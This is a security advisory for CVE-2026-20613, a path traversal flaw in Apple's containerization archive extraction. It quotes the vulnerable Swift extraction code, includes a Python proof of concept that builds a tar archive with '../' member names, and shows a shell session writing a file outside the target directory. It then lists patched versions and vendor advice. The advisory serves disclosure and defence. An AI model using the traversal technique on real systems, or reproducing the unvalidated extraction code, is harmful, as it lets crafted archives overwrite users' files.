CVE-2026-20613 is a high-severity (CVSS 7.8) Path Traversal vulnerability in github.com/apple/containerization. A fix is available for github.com/apple/containerization — see the affected versions and patch details below.
Container and Containerization archive extraction does not guard against escapes from extraction base directory.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-20613.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-20613 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/apple/containerization📦github.com/apple/containerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects SwiftURL packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.
Details
The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.
/// Extracts the contents of an archive to the provided directory.
/// Currently only handles regular files and directories present in the archive.
public func extractContents(to directory: URL) throws {
let fm = FileManager.default
var foundEntry = false
for (entry, data) in self {
guard let p = entry.path else { continue }
foundEntry = true
let type = entry.fileType
let target = directory.appending(path: p)
switch type {
case .regular:
try data.write(to: target, options: .atomic)
case .directory:
try fm.createDirectory(at: target, withIntermediateDirectories: true)
case .symbolicLink:
guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
continue
}
try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
default:
continue
}
chmod(target.path(), entry.permissions)
if let owner = entry.owner, let group = entry.group {
chown(target.path(), owner, group)
}
}
guard foundEntry else {
throw ArchiveError.failedToExtractArchive("no entries found in archive")
}
}
PoC
Sample script make-evil-tar.py:
#! /usr/bin/env python3
import tarfile
import io
import time
tar_path = "evil.tar"
# Content of the file inside the tar
payload = b"pwned\n"
with tarfile.open(tar_path, "w") as tar:
info = tarfile.TarInfo(
name="../../../../../../../../../../../tmp/pwned.txt"
)
info.size = len(payload)
info.mtime = int(time.time())
info.mode = 0o644
tar.addfile(info, io.BytesIO(payload))
print(f"Created {tar_path}")
% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt
pwned
Impact
Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.
Affects users of container image load in the container project.
These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦SwiftURL | github.com/apple/containerization | all versions | 0.21.0 |
| 📦SwiftURL | github.com/apple/container | all versions | 0.8.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apple/containerization, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/apple/containerization to 0.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-20613 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-20613 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-20613. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-20613 in your dependencies?
O3 Security finds CVE-2026-20613 across SwiftURL dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.